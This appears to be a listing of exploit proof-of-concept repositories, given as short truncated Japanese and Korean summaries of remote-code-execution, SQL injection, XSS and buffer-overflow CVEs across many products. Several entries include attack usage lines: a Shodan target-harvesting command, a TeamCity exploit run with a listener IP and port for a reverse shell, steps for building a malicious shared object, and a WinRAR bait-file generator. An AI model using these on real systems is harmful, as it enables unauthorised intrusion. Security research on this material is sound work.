FreePBX-SQLi-RCE

FreePBX CVE-2025-57819 - 未認証SQLiからRCEへのPoC 教育およびセキュリティ研究専用 - 以下の法的通知を参照 CVE-2025-57819のエクスプロイト概念実証です。これはFreePBXにおける重大な未認証SQLインジェクションの脆弱性であり、リモートコード実行を可能にします。このPoCは、公式パッチがリリースされた後に、セキュリティ研究および許可されたテスト目的のみで公開されています。 概要...

CVE-2023-43355-CMSmadesimple-Reflected-XSS---Add-user

CMSmadesimple 反射型XSS v2.2.18 作者: Sergio 説明: CMSmadesimple v.2.2.18のinstall/adduser.phpにおける複数のクロスサイトスクリプティング（XSS）脆弱性により、ローカルの攻撃者が「My Preferences - Add user」のパスワードおよびパスワード再入力フィールドに細工したスクリプトを介して任意のコードを実行できる可能性があります。 攻撃ベクトル: 「My Preferences - Add...

CVE-2024-5084-Red-Team

🚀 HashForm Exploit – ラボデモ このリポジトリには、WordPressプラグイン「Hash Form」で見つかった脆弱性 CVE-2024-5084 の概念実証エクスプロイトが含まれています。 学習、ラボテスト、およびセキュリティ研究のみを目的としています。 📌 脆弱性について CVE ID: CVE-2024-5084 問題: 認証なしのファイルアップロード → リモートコード実行 プラグイン: Hash Form – ドラッグ＆ドロップフォームビルダー ≤ 1.1.0 影響: 攻撃者が悪意のあるファイルをアップロードし、システムコマンドを実行できる...

CVE-2025-48703

CVE-2025-48703 CVE-2025-48703 は、CentOS Web Panel CWP における重大な脆弱性であり、認証されていない攻撃者が認証メカニズムをバイパスし、システムコマンドを実行することでリモートコード実行 RCE を可能にします。この脆弱性は CWP バージョン 0.9.8.1204 以前に影響し、最新バージョン 0.9.8.1205 で修正されました。 Shodan クローラー: root@kitploit: shodan download --limit 206765 list-targets "Server: cwpsrv" shodan parse...

devarea

DevArea — HackTheBox プラットフォーム: HackTheBox OS: Linux ステータス: リタイア済み — 完全なウォークスルー公開中。 完全なウォークスルー: l3dsec.com/walkthroughs/devarea-htb 攻撃チェーン root@kitploit: nmap → 21 FTP anon + 80 + 8080 Jetty + 8888 Hoverfly → FTP anon → employee-service.jar Apache CXF, pre-3.5.5 → CVE-2022-46364 SSRF →...

bash-apocalypse

Bash Apocalypse CVE-2014-6271 Shellshock 向け自動エクスプロイトツールキット 2014年に世界中の数百万台のサーバーに影響を与えた Shellshock 脆弱性を実証する、完全なセキュリティ研究プロジェクトです。自動スキャン、エクスプロイト機能、および防御に関する推奨事項を含みます。 Demo Shellshock とは？ Shellshock CVE-2014-6271 は、Bash シェルにおける深刻な脆弱性であり、環境変数の操作を通じてリモートでコードを実行される可能性があります。2014年に発見されるまで22年間存在し、世界中の何百万もの...

React4Shell

React2Shell Exploit React Server Components RSC / Next.js のリモートコード実行脆弱性に対する概念実証 PoC です。 説明 React Server Components バージョン 19.0.0、19.1.0、19.1.1、19.2.0 には、認証前のリモートコード実行脆弱性が存在します。これには、react-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack の各パッケージが含まれます。脆弱なコードは、HTTP リクエストから Server...

CVE-2023-34468-PoC

CVE-2023-34468 PoC（Apache NiFi 向け） CVE-2023-34468 （Apache NiFi の 1.22.0 より前のバージョンに影響）に対する教育用 proof-of-concept PoC です。このリポジトリは、H2 JDBC URL 設定の悪用が脆弱な Apache NiFi インストールにおいて認証済みリモートコード実行 RCE につながることを示しています。 概要 CVE-2023-34468 は、Apache NiFi のコントローラサービスに影響を与える認証済みリモートコード実行の脆弱性です。 この脆弱性は、INIT=RUNSCRIPT...

CVE-2004-2271-MiniShare-1.4.1-BOF

CVE-2004-2271 - MiniShare 1.4.1 - BOF 参考文献 https://nvd.nist.gov/vuln/detail/CVE-2004-2271 脆弱性 MiniShare 1.4.1 は、受信した HTTP GET リクエストに対して境界チェックを行いません。 長く不正な形式の HTTP GET リクエストを送信することで、攻撃者はバッファオーバーフローを引き起こし、システム上で任意のコードを実行できます。 エクスプロイトノート EIP が上書きされた後、シェルコードに使用できるスペースは 210 バイトのみです。...

CVE-2024-48990

CVE-2024-48990 こんにちは、これは0x3bsです。 被害マシン内: root@kitploit: set -e cd /tmp 1. Create the malicious module directory structure mkdir -p malicious/importlib 攻撃者マシンで 攻撃者マシンで lib.c をコンパイルするには: root@kitploit: gcc -shared -fPIC -o exp.so lib.c そして被害マシン内: /tmp 内 root@kitploit: chmod +x run.sh...

CVE-2023-42793

CVE-2023-42793について まず別のエクスプロイトを使用してトークンを取得する必要があります。ただし、以下のエクスプロイトはペイロードをURLにエンコードしてサーバーに送信するため、Linuxサーバー上でRCEを取得できます。 使用方法 root@kitploit: python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...

cve-2026-0770-langflow_rce_reproduction

CVE-2026-0770: Langflow execglobals リモートコード実行 CVSS 9.8 重大 | ZDI-CAN-27325 | CWE-829: 信頼できない管理領域からの機能の包含 概要 CVE-2026-0770 は、LLM を活用したアプリケーションを構築するためのローコードアプリケーションフレームワーク Langflow における、認証を必要としない重大なリモートコード実行の脆弱性です。この欠陥は /api/v1/validate エンドポイントに存在し、execglobals パラメータが安全でない形で Python の exec...

CVE-2025-48827

CVE-2025-48827 - vBulletin 認証バイパスエクスプロイト 概要 このリポジトリには、CVE-2025-48827 の概念実証エクスプロイトが含まれています。CVE-2025-48827 は、PHP 8.1 以降で実行されている vBulletin 5.0.0–5.7.5 および 6.0.0–6.0.3 に影響を与える重大な認証バイパス脆弱性です。この脆弱性により、認証されていない攻撃者が保護された API メソッドをリモートで呼び出すことができ、リモートコード実行やシステム全体の侵害につながる可能性があります。 著者: pszyszkowski 深刻度: 重大...

CVE-2022-24442

CVE-2022-24442: JetBrains YouTrack における FreeMarker サーバーサイド・テンプレートインジェクション Notification FTL ファイルに悪意のあるコンテンツを挿入することで、攻撃者は SSTI（サーバーサイド・テンプレートインジェクション）攻撃を実行でき、FreeMarker の公開オブジェクトを悪用して制限を回避し、RCE（リモートコード実行）を獲得できる可能性があります。 注記: この問題は、CVE-2021-25770 の不完全な修正が原因で存在します。 ベンダー開示: この脆弱性に関するベンダーの開示と修正は、こちら...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

cve-2007-2447

CVE-2007-2447 前提条件 pysmb 情報 CVE-2007-2447 は、Sambaのバージョン3.0.0から3.0.25rc3に影響を与えます。攻撃者がusernameパラメータ内でシェルコマンドを実行できるようにします。 使用方法 任意のリスニングポートを開き、スクリプト内の変数を設定して、スクリプトを実行してください。...

CVE-2023-38831

ベイトファイルと悪意のあるスクリプトファイルを現在のディレクトリに配置します。ベイトファイルは画像.png、.jpgまたはドキュメント.pdfが推奨されます。 2. python gen-CVE2023-38831.py CLASSIFIEDDOCUMENTS.pdf script.bat poc.rar を実行してエクスプロイトを生成します。...

CVE-2021-42013

CVE-2021-42013 寄稿者 석은호@eunho87 CVE-2021-42013 Apache http Server パストラバーサル 脆弱性の概要 Apache HTTP Server 2.4.50 のパス正規化処理に存在するバグにより、認証なしで 任意のファイルを読み取ったり、リモートコードを実行したりできます。 CVE-2021-41773 の不完全なパッチによって発生し、二重 URL エンコード %%32%65 を介して Apache のパスブロックをバイパスします。 参考資料 NVD - CVE-2021-42013 Apache Security Advisory...

CVE-2025-55182

CVE-2025-55182 React2Shell 익스플로잇 PoC ⚠️ 경고: 이 프로젝트는 보안 연구 목적으로만 의도적으로 취약한 소프트웨어를 사용합니다. 크레딧 PoC의 모든 크레딧은 @maple3142 에게 있습니다. 설정 및 실행 Docker root@kitploit: docker-compose up --build 앱은 http://localhost:3000 에서 사용할 수 있습니다. 익스플로잇 root@kitploit: python3 CVE-2025-55182.py ⚠️ 법적 고지 이 도구는 교육 및 승인된 보안 테스트...

graylog-cve-2024-24824-exploit

JVMにおける任意のクラスローディングの悪用 このリポジトリは、私の講演で紹介した概念実証のエクスプロイトを含んでいます。 JVMにおける任意のクラスローディングの悪用 興味があればこちらでご覧ください: Youtube このエクスプロイトは CVE-2024-24824 スライドに軽微なタイポがあります をターゲットにしており、Graylog のバージョン 2.0.0 から 5.2.3 に影響を与える任意のクラスローディングの脆弱性です。...